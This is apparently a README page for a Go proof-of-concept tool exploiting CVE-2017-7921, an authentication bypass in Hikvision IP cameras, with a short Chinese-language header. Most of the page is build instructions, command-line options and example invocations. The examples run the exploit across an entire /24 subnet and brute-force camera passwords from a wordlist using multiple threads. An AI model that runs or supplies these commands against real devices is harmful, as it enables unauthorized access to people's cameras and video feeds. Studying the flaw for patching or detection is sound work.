CVE-2017-7921 PoC — 多款Hikvision产品安全漏洞

Description

Hikvision IP camera access bypass exploit, developed by golang. 

介绍

# Hikvision bypass exploit

## Requirements
1. github.com/levigross/grequests
2. github.com/msterzhang/gpool
3. golang.org/x/net
4. github.com/go-vgo/robotgo

## Build
```
git clone https://github.com/MisakaMikato/cve-2017-7921-golang.git
cd cve-2017-7921-golang/src/cve-2017-7921-golang
go build .
```

## Usage
```
cve-2017-7921 [-e] [-b] [--password password] [-t target] [--thread thread] [-timeout time]

Options:
  -b    Use burte force model
  -e    Use cve-2017-7921 exploit model
  -o string
        Set the output path, if it's empty, the result will be outputed to stdout.
  -password string
        Set the password if using burte force model, or password file path with syntax 'file:<path>' (default "12345")
  -t string
        Exploited target, ip:port or file path, example: 127.0.0.1, or target file path with syntax 'file:<path>'
  -thread int
        The number of concurrent threads (default 1)
  -timeout int
        Give up on target after this long. (default 5)

Press 'w' to get progress info :)
```
Example
```
cve-2017-7921 -e -t 192.168.1.0/24 --thread 10 -o ./res.txt
cve-2017-7921 -b --password file:./pwds.txt -t 192.168.1.0/24 --thread 10
```

文件快照

备注